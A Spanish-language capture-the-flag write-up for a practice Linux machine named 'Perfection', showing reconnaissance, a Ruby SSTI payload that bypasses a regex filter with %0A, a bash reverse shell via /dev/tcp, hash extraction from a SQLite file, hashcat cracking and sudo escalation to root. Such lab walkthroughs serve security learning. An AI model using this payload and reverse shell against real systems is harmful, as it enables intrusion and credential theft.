Perfection Writeup

Publicado el 2 de marzo de 2024

Maquina creada por TheHated1

Esta máquina Linux se basa en el uso de una peticion con inyección de codigo (en concreto SSTI RCE haciendo un bypass a un regex filter usando el char %0A) para obtener una shell como usuario.

Una vez dentro de la máquina, encontramos un hash que utilizaremos para sacar la contraseña del usuario y ver que podemos hacer.

Primero realizamos un escaneo de puertos a la máquina para ver qué servicios puede tener activos:

┌──(ruflas㉿kali)-[~]
└─$ nmap -sCV 10.10.11.253
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-02 20:35 CET
Nmap scan report for 10.10.11.253
Host is up (0.040s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.96 seconds

Podemos observar que tiene el puerto 80 (Servicio Apache) y el puerto 22 (SSH) abiertos.

Probamos a acceder al servicio web:

Pruebo a la vez a lanzar una busqueda de directorios para ver si encuentro algun panel de login o algo oculto.

Ejecuto feroxbuster pero no encuentro nada interesante.

Lo que podemos ver interesante es como hay una calculadora donde se nos pide introducir cinco asignaturas con sus respectivas calificaciones y peso en %.

Al mirar al darle a submit que petición hace podemos observar como hace una peticioón POST a /weighted-grade-calc y si miramos en la url vemos como utiliza Sinatra que es un framework de Ruby.

Estuve probando a introducir valores no comunes en la calculadora, como seria valores negativos,demasiado altos o inyecciones de codigo en Ruby.

Lo que pude observar es que me devolvia "Malicious input blocked" lo que nos da a pensar que esta sanitizado en el backend los campos (en el frontend sabemos que si pero acabamos de verlo en el backend utilizando Burp Suite para modificar nuestras peticiones).

Esto nos hace llegar a la conclusión de que probablemente tengamos que buscar la forma de forzar un RCE

Un usuario del foro de breachforums explico como podiamos hacer este bypass.

El bypass consiste en utilizar el char %0A para saltar el regex filter que tiene el backend y pasar el codigo en base64 para evitar que salte el "Malicious input blocked".

Usuario: jahman Comentario: "You have to bypass a regex filter to execute SSTI RCE. You have to use the %0A char. here is a payload:"

category1=a///A77ss/e%0A;<%25%3d+system("echo {BASH REVERSE SHELL CODE BASE64} | base64 -d | bash")+%25>+

Donde pone "BASH REVERSE SHELL CODE BASE64" iria nuestro codigo de reverse shell de bash codificado.

#/bin/bash
bash -i >& /dev/tcp/IP/PORT 0>&1

Una vez que tenemos el payload, lo introducimos en la petición POST en Burp Suit y enviamos la petición mientras estamos previamente en escucha con netcat.

┌──(ruflas㉿kali)-[~]
└─$ sudo nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.253] 42960
bash: cannot set terminal process group (988): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ ls /home
ls /home
susan

Una vez dentro de la máquina podemos obtener la flag de usuario y vemos que estamos como el usuario 'susan'.

susan@perfection:~/ruby_app$ cat /home/susan/user.txt
cat /home/susan/user.txt
55f11d7e66617af5dfc6aa1c5440ddf2

Una vez que tenemos la flag de usuario, decidi guardar mi id_rsa.pub en la carpeta de susan de .ssh en el archivo authorized_keys para poder conectarme por ssh sin contraseña a susan

Ahora ejecutamos "sudo -l" para ver si tenemos privilegios en algún archivo sin contraseña para escalar privilegios.

Podemos observar como nos pide la contraseña de susan la cual no tenemos.

En este punto probe a ejecutar linpeas.sh pero sin buscar mucho ya vemos como hay un archivo Migration/pupilpath_credentials.db que ya sea utilizando el comando strings o metiendonos con sqlite podemos ver el hash de la contraseña de susan

susan@perfection:~$ sqlite3 Migration/pupilpath_credentials.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|Susan Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
sqlite> .exit

Una vez que tenemos el hash de la contraseña de susan, utilizamos hashcat para crackearla, pero si antes de eso buscamos un poco mas podemos ver lo siguiente:

Mirando /var/spool/mail/susan podemos observar cual es la estructura de la contraseña, esto nos ayudara a hacer mucho mucho mas rapido el proceso de obtener la contraseña con hashcat.

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Una vez que tenemos la estructura de la contraseña, utilizamos hashcat para crackearla y obtenemos la contraseña de susan.

┌──(ruflas㉿kali)-[~/Perfection]
└─$ hashcat -m 1400 susanHash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d

La contraseña de susan es:

susan_nasus_413759210

Una vez que tenemos la contraseña de susan ya podemos probar a ejecutar "sudo -l" con el usuario susan.

Podemos observar que el usuario susan cuenta con todos los permisos asi que haciendo "sudo su" y poniendo la contraseña ya somos usuario root.

susan@perfection:~$ sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User susan may run the following commands on perfection:
(ALL : ALL) ALL
susan@perfection:~$ sudo su
root@perfection:/home/susan# cat /root/root.txt
8f2defcbf16419c997ac3378e29363a6

Y ya hemos terminado la máquina Perfection ✅.

Comentarios